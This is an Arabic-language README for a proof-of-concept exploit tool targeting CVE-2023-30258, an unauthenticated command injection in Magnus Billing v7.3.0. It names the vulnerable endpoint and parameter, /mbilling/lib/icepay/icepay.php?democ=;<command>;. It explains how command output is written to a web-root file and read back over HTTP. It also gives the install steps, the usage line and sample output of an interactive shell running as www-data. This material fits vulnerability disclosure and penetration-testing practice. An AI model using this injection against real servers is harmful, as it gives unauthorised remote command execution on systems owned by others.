CVE-2023-30258 — ثغرة حقن الأوامر في Magnus Billing v7 (PoC)

ثغرة حقن أوامر غير مصادق عليها في Magnus Billing v7.3.0. يتم تمرير معامل GET democ في icepay.php مباشرةً إلى دالة شل دون تنقية، مما يسمح بتنفيذ أوامر عشوائية كمستخدم خادم الويب. الحقن أعمى — لا ينعكس المخرجات في استجابة HTTP — لذلك يقوم هذا الاستغلال بتوجيه مخرجات كل أمر إلى ملف في الجذر الوبائي ثم جلبها مرة أخرى عبر HTTP.

كيف يعمل

1. يرسل طلب GET إلى /mbilling/lib/icepay/icepay.php?democ=;<command>;.
2. يوجه مخرجات الأمر إلى ملف داخل الجذر الوبائي (out.txt).
3. يجلب ملف المخرجات عبر HTTP ويطبع النتيجة.
4. ينظف ملف المخرجات عند الخروج.

إذا كان الهدف يستخدم مسار جذر وبائي مختلف، قم بتعديل OUTPUT_FILE في أعلى النص البرمجي.

المتطلبات

• بايثون 3
• تثبيت التبعيات:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

الاستخدام

python3 exploit.py -t http://TARGET

مثال:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

المراجع

• CVE-2023-30258
• EDB-52170
• PoC الأصلي بواسطة Tinashe Matanda

الإسناد

• الاكتشاف والاستغلال الأصلي: Tinashe Matanda (SadNinja) / CodeSecLab
• التنظيف والشيل التفاعلية: Esteban Zárate